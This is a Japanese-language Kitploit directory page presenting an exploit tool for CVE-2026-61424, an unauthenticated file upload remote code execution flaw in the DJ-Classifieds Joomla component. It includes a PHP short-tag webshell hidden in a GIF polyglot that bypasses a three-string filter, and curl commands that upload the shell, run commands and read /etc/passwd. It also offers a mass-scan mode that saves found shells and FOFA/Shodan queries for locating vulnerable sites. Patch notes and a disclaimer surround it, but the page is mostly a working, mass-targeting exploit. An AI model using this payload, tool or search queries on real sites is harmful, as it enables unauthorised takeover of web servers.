Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-61424 — DJ-Classifieds Joomla コンポーネントの認証なしファイルアップロード RCE。PHP ショートタグによる 3 文字フィルターバイパス。CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2 | Kitploit
ツール/GitHubGitHub/shinthink/cve-2026-61424
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト設定ミスレッドチーミングリモートアクセスツール
GitHubshinthink/cve-2026-61424

CVE-2026-61424

DJ-Classifieds Joomla コンポーネントの認証なしファイルアップロード RCE。PHP ショートタグによる 3 文字フィルターバイパス。CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2

リポジトリを見る
21日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Python CVE CVSS License

CVE-2026-61424 — DJ-Classifieds <= 3.11.1

imageupload タスク → 認証なし → 3文字列フィルタ回避 (

概要

Joomla 用 DJ-Classifieds における、認証なしでの任意ファイルアップロード脆弱性。imageupload タスクのエンドポイントは 認証なし でファイルアップロードを処理し、PHP のショートオープンタグ (<?=) を使うだけで簡単に回避できる 3つの文字列のブロックリスト (<?php、eval(、base64) に依存しています。GIF ポリグロットと組み合わせることで、アップロードされたファイルは完全に機能する PHP ウェブシェルを含みながら、すべての画像検証チェックを通過します。


影響を受けるバージョン

ステータスバージョン
影響あり1.0 — 3.11.1
修正済み3.11.2 (2026年7月20日)

脆弱性の仕組み

根本原因

administrator/components/com_djclassifieds/lib/djupload.php 内の upload() メソッドは、認証チェックなし かつ CSRF トークン検証なし で imageupload タスクにマッピングされています。

root@kitploit:~
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method

// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check

$name     = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');

// ... writes file to tmp/djupload/<name>

セキュリティフィルタが失敗する理由 (3文字列バイパス)

コンテンツスキャナは 3つのリテラル文字列 のみをブロックリストに登録しています:

root@kitploit:~
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
    die('Malicious file detected');
}

これは <?php、eval(、base64 をブロックしますが、PHP のショートオープンタグは ブロックしません:

root@kitploit:~
<?=system($_GET['c']);?>     ← 0/3 blocked strings → PASSES

PHP のショートエコータグ (<?=) は PHP 5.4 以降デフォルトで有効です。

攻撃の流れ

  1. ポリグロット を作成: 有効な GIF89a ヘッダー + <?=system($_GET['c']);?>
  2. name=shell.gif を指定して index.php?option=com_djclassifieds&task=imageupload に POST する
  3. サーバーがチェック: .gif 拡張子 ✓ getimagesize() ✓ <?php/eval(/base64 なし ✓
  4. ファイルが tmp/djupload/<shell>.gif に保存される
  5. アクセス: https://target.com/tmp/djupload/shell.gif?c=id

検証済みソースファイル

ファイル役割

サーバーログの証拠

公開前に実環境で観測された匿名スキャナのプローブ:

root@kitploit:~
POST /index.php?option=com_djclassifieds&task=imageupload
  name=<random>.gif  filename=<random>.gif
  — no cookie, no session, no referer

インストール

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt

使用方法

単一ターゲット

root@kitploit:~
python cve_2026_61424.py -t target.com

大量スキャン

root@kitploit:~
python cve_2026_61424.py -f targets.txt -o shells.txt

引数


概念実証 (PoC)

単一ターゲット

root@kitploit:~
$ python cve_2026_61424.py -t target.com

  Host         : target.com
  DJ-Classifieds: YES v3.11.1
  Upload       : YES
  RCE          : YES
  Shell        : https://target.com/tmp/djupload/img_abc123.gif
  Output       : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
  Time         : 2.1s

手動による悪用

root@kitploit:~
# Step 1 — Upload polyglot shell
curl -sk -X POST \
  "https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
  -H "Content-Type: image/gif" \
  --data-binary @polyglot.gif

# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"

# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"

FOFA / Shodan

root@kitploit:~
# DJ-Classifieds component
body="com_djclassifieds"

# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"

# Exposed djupload directory
body="Index of" && body="djupload"

# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"

修正内容 (3.11.2)

  1. Joomla 認証を追加 — upload() の前に JFactory::getUser() によるゲストチェック
  2. CSRF トークン検証を追加 — imageupload タスクでの JSession::checkToken()
  3. ファイルタイプを制限 — サーバー側で画像のみの許可リスト (jpg、jpeg、png、gif)
  4. コンテンツスキャンを改善 — 3文字列のブロックリストを超えた追加の PHP パターン検出

影響

  • 完全な RCE — Web サーバーユーザーとして任意のコマンドを実行
  • 永続的なアクセス — 手動で削除されるかディレクトリが掃除されるまでシェルが残存
  • コンテンツの悪用 — 信頼されたドメイン上に任意のファイルをアップロード・ホスト
  • ディスク枯渇 — 匿名での大量アップロードが可能
  • 連鎖攻撃 — ポリグロット画像がサイト内の別の LFI を経由してインクルードされる可能性

免責事項

このツールは教育目的および許可を得たセキュリティテスト専用です。自分が所有するシステム、または明示的なテスト許可を得たシステムに対してのみ使用してください。作者は不正使用や損害について一切の責任を負いません。


参考情報


DJ-Extensions または mySites.guru とは提携関係にありません。

ツールをダウンロード
フィールド詳細
CVECVE-2026-61424
製品DJ-Classifieds (DJ-Extensions による Joomla 拡張機能)
CVSS 4.010.0 (緊急)
種別CWE-434 — 制限のないファイルアップロード
発見Phil Taylor / mySites.guru — 2026年7月16日
悪用公開 前 に実環境での悪用が確認済み
administrator/components/com_djclassifieds/lib/djupload.php
upload() メソッド — 認証なし、3文字列フィルタ
components/com_djclassifieds/controller.phpimageupload タスクを upload() にルーティング
administrator/components/com_djclassifieds/djclassifieds.xml<version> タグによるバージョン情報の開示
フラグ説明デフォルト
-t, --target単一ターゲットのホスト—
-f, --fileターゲット一覧のファイル (1行に1つ、# でコメント)—
-o, --outputRCE URL をファイルに保存—
--threadsマスモード用のワーカースレッド30
--no-cleanupRCE 実行後にシェルを削除しないFalse
--debugデバッグ出力False
リソースリンク
IONIX Threat Centerionix.io/threat-center/cve-2026-61424
mySites.guru Discoverymysites.guru/blog/dj-classifieds-unauthenticated-file-upload
DJ-Extensions Security Releasedj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release
CVE.org Recordcve.org/CVERecord?id=CVE-2026-61424
INCIBE-CERTincibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424